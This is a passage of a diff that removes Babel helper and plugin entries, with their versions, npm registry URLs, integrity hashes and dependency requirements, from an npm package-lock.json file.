-      "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.8.3.tgz",
-      "integrity": "sha512-kgwDmw4fCg7AVgS4DukQR/roGp+jP+XluJE5hsRZwxCYGg+Rv9wSGErDWhlI90FODdYfd4xG4AQRiMDjjN0GzA==",
-      "requires": {
-        "@babel/helper-annotate-as-pure": "^7.8.3",
-        "@babel/helper-wrap-function": "^7.8.3",
-        "@babel/template": "^7.8.3",
-        "@babel/traverse": "^7.8.3",
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-replace-supers": {
-      "version": "7.8.6",
-      "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.8.6.tgz",
-      "integrity": "sha512-PeMArdA4Sv/Wf4zXwBKPqVj7n9UF/xg6slNRtZW84FM7JpE1CbG8B612FyM4cxrf4fMAMGO0kR7voy1ForHHFA==",
-      "requires": {
-        "@babel/helper-member-expression-to-functions": "^7.8.3",
-        "@babel/helper-optimise-call-expression": "^7.8.3",
-        "@babel/traverse": "^7.8.6",
-        "@babel/types": "^7.8.6"
-      }
-    },
-    "@babel/helper-simple-access": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.8.3.tgz",
-      "integrity": "sha512-VNGUDjx5cCWg4vvCTR8qQ7YJYZ+HBjxOgXEl7ounz+4Sn7+LMD3CFrCTEU6/qXKbA2nKg21CwhhBzO0RpRbdCw==",
-      "requires": {
-        "@babel/template": "^7.8.3",
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-split-export-declaration": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.8.3.tgz",
-      "integrity": "sha512-3x3yOeyBhW851hroze7ElzdkeRXQYQbFIb7gLK1WQYsw2GWDay5gAJNw1sWJ0VFP6z5J1whqeXH/WCdCjZv6dA==",
-      "requires": {
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helper-validator-identifier": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.9.5.tgz",
-      "integrity": "sha512-/8arLKUFq882w4tWGj9JYzRpAlZgiWUJ+dtteNTDqrRBz9Iguck9Rn3ykuBDoUwh2TO4tSAJlrxDUOXWklJe4g=="
-    },
-    "@babel/helper-wrap-function": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.8.3.tgz",
-      "integrity": "sha512-LACJrbUET9cQDzb6kG7EeD7+7doC3JNvUgTEQOx2qaO1fKlzE/Bf05qs9w1oXQMmXlPO65lC3Tq9S6gZpTErEQ==",
-      "requires": {
-        "@babel/helper-function-name": "^7.8.3",
-        "@babel/template": "^7.8.3",
-        "@babel/traverse": "^7.8.3",
-        "@babel/types": "^7.8.3"
-      }
-    },
-    "@babel/helpers": {
-      "version": "7.9.2",
-      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.9.2.tgz",
-      "integrity": "sha512-JwLvzlXVPjO8eU9c/wF9/zOIN7X6h8DYf7mG4CiFRZRvZNKEF5dQ3H3V+ASkHoIB3mWhatgl5ONhyqHRI6MppA==",
-      "requires": {
-        "@babel/template": "^7.8.3",
-        "@babel/traverse": "^7.9.0",
-        "@babel/types": "^7.9.0"
-      }
-    },
-    "@babel/highlight": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.9.0.tgz",
-      "integrity": "sha512-lJZPilxX7Op3Nv/2cvFdnlepPXDxi29wxteT57Q965oc5R9v86ztx0jfxVrTcBk8C2kcPkkDa2Z4T3ZsPPVWsQ==",
-      "requires": {
-        "@babel/helper-validator-identifier": "^7.9.0",
-        "chalk": "^2.0.0",
-        "js-tokens": "^4.0.0"
-      }
-    },
-    "@babel/parser": {
-      "version": "7.9.4",
-      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.9.4.tgz",
-      "integrity": "sha512-bC49otXX6N0/VYhgOMh4gnP26E9xnDZK3TmbNpxYzzz9BQLBosQwfyOe9/cXUU3txYhTzLCbcqd5c8y/OmCjHA=="
-    },
-    "@babel/plugin-proposal-async-generator-functions": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.8.3.tgz",
-      "integrity": "sha512-NZ9zLv848JsV3hs8ryEh7Uaz/0KsmPLqv0+PdkDJL1cJy0K4kOCFa8zc1E3mp+RHPQcpdfb/6GovEsW4VDrOMw==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/helper-remap-async-to-generator": "^7.8.3",
-        "@babel/plugin-syntax-async-generators": "^7.8.0"
-      }
-    },
-    "@babel/plugin-proposal-class-properties": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.8.3.tgz",
-      "integrity": "sha512-EqFhbo7IosdgPgZggHaNObkmO1kNUe3slaKu54d5OWvy+p9QIKOzK1GAEpAIsZtWVtPXUHSMcT4smvDrCfY4AA==",
-      "requires": {
-        "@babel/helper-create-class-features-plugin": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-proposal-decorators": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.8.3.tgz",
-      "integrity": "sha512-e3RvdvS4qPJVTe288DlXjwKflpfy1hr0j5dz5WpIYYeP7vQZg2WfAEIp8k5/Lwis/m5REXEteIz6rrcDtXXG7w==",
-      "requires": {
-        "@babel/helper-create-class-features-plugin": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-decorators": "^7.8.3"
-      }
-    },
-    "@babel/plugin-proposal-dynamic-import": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.8.3.tgz",
-      "integrity": "sha512-NyaBbyLFXFLT9FP+zk0kYlUlA8XtCUbehs67F0nnEg7KICgMc2mNkIeu9TYhKzyXMkrapZFwAhXLdnt4IYHy1w==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-dynamic-import": "^7.8.0"
-      }
-    },
-    "@babel/plugin-proposal-json-strings": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.8.3.tgz",
-      "integrity": "sha512-KGhQNZ3TVCQG/MjRbAUwuH+14y9q0tpxs1nWWs3pbSleRdDro9SAMMDyye8HhY1gqZ7/NqIc8SKhya0wRDgP1Q==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-json-strings": "^7.8.0"
-      }
-    },
-    "@babel/plugin-proposal-nullish-coalescing-operator": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.8.3.tgz",
-      "integrity": "sha512-TS9MlfzXpXKt6YYomudb/KU7nQI6/xnapG6in1uZxoxDghuSMZsPb6D2fyUwNYSAp4l1iR7QtFOjkqcRYcUsfw==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0"
-      }
-    },
-    "@babel/plugin-proposal-numeric-separator": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.8.3.tgz",
-      "integrity": "sha512-jWioO1s6R/R+wEHizfaScNsAx+xKgwTLNXSh7tTC4Usj3ItsPEhYkEpU4h+lpnBwq7NBVOJXfO6cRFYcX69JUQ==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-numeric-separator": "^7.8.3"
-      }
-    },
-    "@babel/plugin-proposal-object-rest-spread": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.9.5.tgz",
-      "integrity": "sha512-VP2oXvAf7KCYTthbUHwBlewbl1Iq059f6seJGsxMizaCdgHIeczOr7FBqELhSqfkIl04Fi8okzWzl63UKbQmmg==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-object-rest-spread": "^7.8.0",
-        "@babel/plugin-transform-parameters": "^7.9.5"
-      }
-    },
-    "@babel/plugin-proposal-optional-catch-binding": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.8.3.tgz",
-      "integrity": "sha512-0gkX7J7E+AtAw9fcwlVQj8peP61qhdg/89D5swOkjYbkboA2CVckn3kiyum1DE0wskGb7KJJxBdyEBApDLLVdw==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-optional-catch-binding": "^7.8.0"
-      }
-    },
-    "@babel/plugin-proposal-optional-chaining": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.9.0.tgz",
-      "integrity": "sha512-NDn5tu3tcv4W30jNhmc2hyD5c56G6cXx4TesJubhxrJeCvuuMpttxr0OnNCqbZGhFjLrg+NIhxxC+BK5F6yS3w==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-optional-chaining": "^7.8.0"
-      }
-    },
-    "@babel/plugin-proposal-unicode-property-regex": {
-      "version": "7.8.8",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.8.8.tgz",
-      "integrity": "sha512-EVhjVsMpbhLw9ZfHWSx2iy13Q8Z/eg8e8ccVWt23sWQK5l1UdkoLJPN5w69UA4uITGBnEZD2JOe4QOHycYKv8A==",
-      "requires": {
-        "@babel/helper-create-regexp-features-plugin": "^7.8.8",
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-syntax-async-generators": {
-      "version": "7.8.4",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz",
-      "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-decorators": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.8.3.tgz",
-      "integrity": "sha512-8Hg4dNNT9/LcA1zQlfwuKR8BUc/if7Q7NkTam9sGTcJphLwpf2g4S42uhspQrIrR+dpzE0dtTqBVFoHl8GtnnQ==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-syntax-dynamic-import": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz",
-      "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-flow": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.8.3.tgz",
-      "integrity": "sha512-innAx3bUbA0KSYj2E2MNFSn9hiCeowOFLxlsuhXzw8hMQnzkDomUr9QCD7E9VF60NmnG1sNTuuv6Qf4f8INYsg==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-syntax-json-strings": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",
-      "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-jsx": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.8.3.tgz",
-      "integrity": "sha512-WxdW9xyLgBdefoo0Ynn3MRSkhe5tFVxxKNVdnZSh318WrG2e2jH+E9wd/++JsqcLJZPfz87njQJ8j2Upjm0M0A==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-syntax-nullish-coalescing-operator": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz",
-      "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-numeric-separator": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.8.3.tgz",
-      "integrity": "sha512-H7dCMAdN83PcCmqmkHB5dtp+Xa9a6LKSvA2hiFBC/5alSHxM5VgWZXFqDi0YFe8XNGT6iCa+z4V4zSt/PdZ7Dw==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-syntax-object-rest-spread": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",
-      "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-optional-catch-binding": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz",
-      "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-optional-chaining": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz",
-      "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.0"
-      }
-    },
-    "@babel/plugin-syntax-top-level-await": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.8.3.tgz",
-      "integrity": "sha512-kwj1j9lL/6Wd0hROD3b/OZZ7MSrZLqqn9RAZ5+cYYsflQ9HZBIKCUkr3+uL1MEJ1NePiUbf98jjiMQSv0NMR9g==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-syntax-typescript": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.8.3.tgz",
-      "integrity": "sha512-GO1MQ/SGGGoiEXY0e0bSpHimJvxqB7lktLLIq2pv8xG7WZ8IMEle74jIe1FhprHBWjwjZtXHkycDLZXIWM5Wfg==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-arrow-functions": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.8.3.tgz",
-      "integrity": "sha512-0MRF+KC8EqH4dbuITCWwPSzsyO3HIWWlm30v8BbbpOrS1B++isGxPnnuq/IZvOX5J2D/p7DQalQm+/2PnlKGxg==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-async-to-generator": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.8.3.tgz",
-      "integrity": "sha512-imt9tFLD9ogt56Dd5CI/6XgpukMwd/fLGSrix2httihVe7LOGVPhyhMh1BU5kDM7iHD08i8uUtmV2sWaBFlHVQ==",
-      "requires": {
-        "@babel/helper-module-imports": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/helper-remap-async-to-generator": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-block-scoped-functions": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.8.3.tgz",
-      "integrity": "sha512-vo4F2OewqjbB1+yaJ7k2EJFHlTP3jR634Z9Cj9itpqNjuLXvhlVxgnjsHsdRgASR8xYDrx6onw4vW5H6We0Jmg==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-block-scoping": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.8.3.tgz",
-      "integrity": "sha512-pGnYfm7RNRgYRi7bids5bHluENHqJhrV4bCZRwc5GamaWIIs07N4rZECcmJL6ZClwjDz1GbdMZFtPs27hTB06w==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "lodash": "^4.17.13"
-      }
-    },
-    "@babel/plugin-transform-classes": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.9.5.tgz",
-      "integrity": "sha512-x2kZoIuLC//O5iA7PEvecB105o7TLzZo8ofBVhP79N+DO3jaX+KYfww9TQcfBEZD0nikNyYcGB1IKtRq36rdmg==",
-      "requires": {
-        "@babel/helper-annotate-as-pure": "^7.8.3",
-        "@babel/helper-define-map": "^7.8.3",
-        "@babel/helper-function-name": "^7.9.5",
-        "@babel/helper-optimise-call-expression": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/helper-replace-supers": "^7.8.6",
-        "@babel/helper-split-export-declaration": "^7.8.3",
-        "globals": "^11.1.0"
-      }
-    },
-    "@babel/plugin-transform-computed-properties": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.8.3.tgz",
-      "integrity": "sha512-O5hiIpSyOGdrQZRQ2ccwtTVkgUDBBiCuK//4RJ6UfePllUTCENOzKxfh6ulckXKc0DixTFLCfb2HVkNA7aDpzA==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-destructuring": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.9.5.tgz",
-      "integrity": "sha512-j3OEsGel8nHL/iusv/mRd5fYZ3DrOxWC82x0ogmdN/vHfAP4MYw+AFKYanzWlktNwikKvlzUV//afBW5FTp17Q==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-dotall-regex": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.8.3.tgz",
-      "integrity": "sha512-kLs1j9Nn4MQoBYdRXH6AeaXMbEJFaFu/v1nQkvib6QzTj8MZI5OQzqmD83/2jEM1z0DLilra5aWO5YpyC0ALIw==",
-      "requires": {
-        "@babel/helper-create-regexp-features-plugin": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-duplicate-keys": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.8.3.tgz",
-      "integrity": "sha512-s8dHiBUbcbSgipS4SMFuWGqCvyge5V2ZeAWzR6INTVC3Ltjig/Vw1G2Gztv0vU/hRG9X8IvKvYdoksnUfgXOEQ==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-exponentiation-operator": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.8.3.tgz",
-      "integrity": "sha512-zwIpuIymb3ACcInbksHaNcR12S++0MDLKkiqXHl3AzpgdKlFNhog+z/K0+TGW+b0w5pgTq4H6IwV/WhxbGYSjQ==",
-      "requires": {
-        "@babel/helper-builder-binary-assignment-operator-visitor": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-flow-strip-types": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.9.0.tgz",
-      "integrity": "sha512-7Qfg0lKQhEHs93FChxVLAvhBshOPQDtJUTVHr/ZwQNRccCm4O9D79r9tVSoV8iNwjP1YgfD+e/fgHcPkN1qEQg==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/plugin-syntax-flow": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-for-of": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.9.0.tgz",
-      "integrity": "sha512-lTAnWOpMwOXpyDx06N+ywmF3jNbafZEqZ96CGYabxHrxNX8l5ny7dt4bK/rGwAh9utyP2b2Hv7PlZh1AAS54FQ==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-function-name": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.8.3.tgz",
-      "integrity": "sha512-rO/OnDS78Eifbjn5Py9v8y0aR+aSYhDhqAwVfsTl0ERuMZyr05L1aFSCJnbv2mmsLkit/4ReeQ9N2BgLnOcPCQ==",
-      "requires": {
-        "@babel/helper-function-name": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-literals": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.8.3.tgz",
-      "integrity": "sha512-3Tqf8JJ/qB7TeldGl+TT55+uQei9JfYaregDcEAyBZ7akutriFrt6C/wLYIer6OYhleVQvH/ntEhjE/xMmy10A==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-member-expression-literals": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.8.3.tgz",
-      "integrity": "sha512-3Wk2EXhnw+rP+IDkK6BdtPKsUE5IeZ6QOGrPYvw52NwBStw9V1ZVzxgK6fSKSxqUvH9eQPR3tm3cOq79HlsKYA==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-modules-amd": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.9.0.tgz",
-      "integrity": "sha512-vZgDDF003B14O8zJy0XXLnPH4sg+9X5hFBBGN1V+B2rgrB+J2xIypSN6Rk9imB2hSTHQi5OHLrFWsZab1GMk+Q==",
-      "requires": {
-        "@babel/helper-module-transforms": "^7.9.0",
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "babel-plugin-dynamic-import-node": "^2.3.0"
-      }
-    },
-    "@babel/plugin-transform-modules-commonjs": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.9.0.tgz",
-      "integrity": "sha512-qzlCrLnKqio4SlgJ6FMMLBe4bySNis8DFn1VkGmOcxG9gqEyPIOzeQrA//u0HAKrWpJlpZbZMPB1n/OPa4+n8g==",
-      "requires": {
-        "@babel/helper-module-transforms": "^7.9.0",
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/helper-simple-access": "^7.8.3",
-        "babel-plugin-dynamic-import-node": "^2.3.0"
-      }
-    },
-    "@babel/plugin-transform-modules-systemjs": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.9.0.tgz",
-      "integrity": "sha512-FsiAv/nao/ud2ZWy4wFacoLOm5uxl0ExSQ7ErvP7jpoihLR6Cq90ilOFyX9UXct3rbtKsAiZ9kFt5XGfPe/5SQ==",
-      "requires": {
-        "@babel/helper-hoist-variables": "^7.8.3",
-        "@babel/helper-module-transforms": "^7.9.0",
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "babel-plugin-dynamic-import-node": "^2.3.0"
-      }
-    },
-    "@babel/plugin-transform-modules-umd": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.9.0.tgz",
-      "integrity": "sha512-uTWkXkIVtg/JGRSIABdBoMsoIeoHQHPTL0Y2E7xf5Oj7sLqwVsNXOkNk0VJc7vF0IMBsPeikHxFjGe+qmwPtTQ==",
-      "requires": {
-        "@babel/helper-module-transforms": "^7.9.0",
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-named-capturing-groups-regex": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.8.3.tgz",
-      "integrity": "sha512-f+tF/8UVPU86TrCb06JoPWIdDpTNSGGcAtaD9mLP0aYGA0OS0j7j7DHJR0GTFrUZPUU6loZhbsVZgTh0N+Qdnw==",
-      "requires": {
-        "@babel/helper-create-regexp-features-plugin": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-new-target": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.8.3.tgz",
-      "integrity": "sha512-QuSGysibQpyxexRyui2vca+Cmbljo8bcRckgzYV4kRIsHpVeyeC3JDO63pY+xFZ6bWOBn7pfKZTqV4o/ix9sFw==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-object-super": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.8.3.tgz",
-      "integrity": "sha512-57FXk+gItG/GejofIyLIgBKTas4+pEU47IXKDBWFTxdPd7F80H8zybyAY7UoblVfBhBGs2EKM+bJUu2+iUYPDQ==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3",
-        "@babel/helper-replace-supers": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-parameters": {
-      "version": "7.9.5",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.9.5.tgz",
-      "integrity": "sha512-0+1FhHnMfj6lIIhVvS4KGQJeuhe1GI//h5uptK4PvLt+BGBxsoUJbd3/IW002yk//6sZPlFgsG1hY6OHLcy6kA==",
-      "requires": {
-        "@babel/helper-get-function-arity": "^7.8.3",
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-property-literals": {
-      "version": "7.8.3",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.8.3.tgz",
-      "integrity": "sha512-uGiiXAZMqEoQhRWMK17VospMZh5sXWg+dlh2soffpkAl96KAm+WZuJfa6lcELotSRmooLqg0MWdH6UUq85nmmg==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
-    "@babel/plugin-transform-react-constant-elements": {
-      "version": "7.9.0",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.9.0.tgz",
-      "integrity": "sha512-wXMXsToAUOxJuBBEHajqKLFWcCkOSLshTI2ChCFFj1zDd7od4IOxiwLCOObNUvOpkxLpjIuaIdBMmNt6ocCPAw==",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.8.3"
-      }
-    },
